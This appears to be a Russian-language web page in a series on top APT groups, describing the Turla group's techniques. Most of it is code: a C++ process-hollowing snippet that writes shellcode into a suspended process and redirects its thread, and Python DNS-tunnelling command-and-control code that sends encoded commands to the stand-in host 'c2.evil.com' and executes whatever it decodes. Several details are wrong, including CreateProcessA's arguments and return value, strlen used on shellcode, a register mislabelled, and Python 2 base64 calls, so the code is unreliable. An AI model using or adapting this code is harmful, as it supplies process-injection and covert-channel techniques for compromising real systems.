Turla - Технические детали атак

Методы и векторы атак

Известна использованием сложных вредоносных программ, таких как Snake (Uroburos), которые маскируются под системные процессы. Также применяет методы "отравления" DNS, внедрение в легитимные процессы (process hollowing) и скрытие трафика через легитимные домены.

Примеры техник

// Пример процесс-холлоуинга (внедрение в legit.exe)
// C++ псевдокод для иллюстрации
HANDLE hProcess = CreateProcessA(
    "C:\\Windows\\System32\\legit.exe",
    NULL,
    NULL,
    NULL,
    0,
    CREATE_SUSPENDED, // Создать в приостановленном состоянии
    NULL,
    NULL,
    &si,
    &pi
);

// Выделить память в процессе
LPVOID remoteBuffer = VirtualAllocEx(
    hProcess,
    NULL,
    strlen(shellcode),
    MEM_COMMIT,
    PAGE_EXECUTE_READWRITE
);

// Записать shellcode в удалённый процесс
WriteProcessMemory(hProcess, remoteBuffer, shellcode, strlen(shellcode), NULL);

// Заменить точку входа процесса
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
ctx.Eax = (DWORD)remoteBuffer; // Установить EIP на shellcode
SetThreadContext(pi.hThread, &ctx);

// Возобновить выполнение процесса
ResumeThread(pi.hThread);
// Использование DNS для команд и управления (C2)
// Код, имитирующий DNS-туннелирование
import dnslib
import socket

# Формирование DNS-запроса с полезной нагрузкой
def send_command_via_dns(command):
    encoded_cmd = command.encode('base64').replace('+', '_').replace('=', '-')
    query = encoded_cmd + '.c2.evil.com'
    # Отправка DNS-запроса
    socket.getaddrinfo(query, None)

# Получение команды через DNS
def receive_command_via_dns():
    # Слушаем DNS-запросы
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.bind(("0.0.0.0", 53))
    while True:
        data, addr = sock.recvfrom(1024)
        # Разбор DNS-запроса
        request = dnslib.DNSRecord.parse(data)
        qname = str(request.get_qname())
        # Декодирование команды
        decoded_cmd = qname.split('.')[0].replace('_', '+').replace('-', '=')
        exec(decoded_cmd.decode('base64'))

Навигация по страницам: Топ APT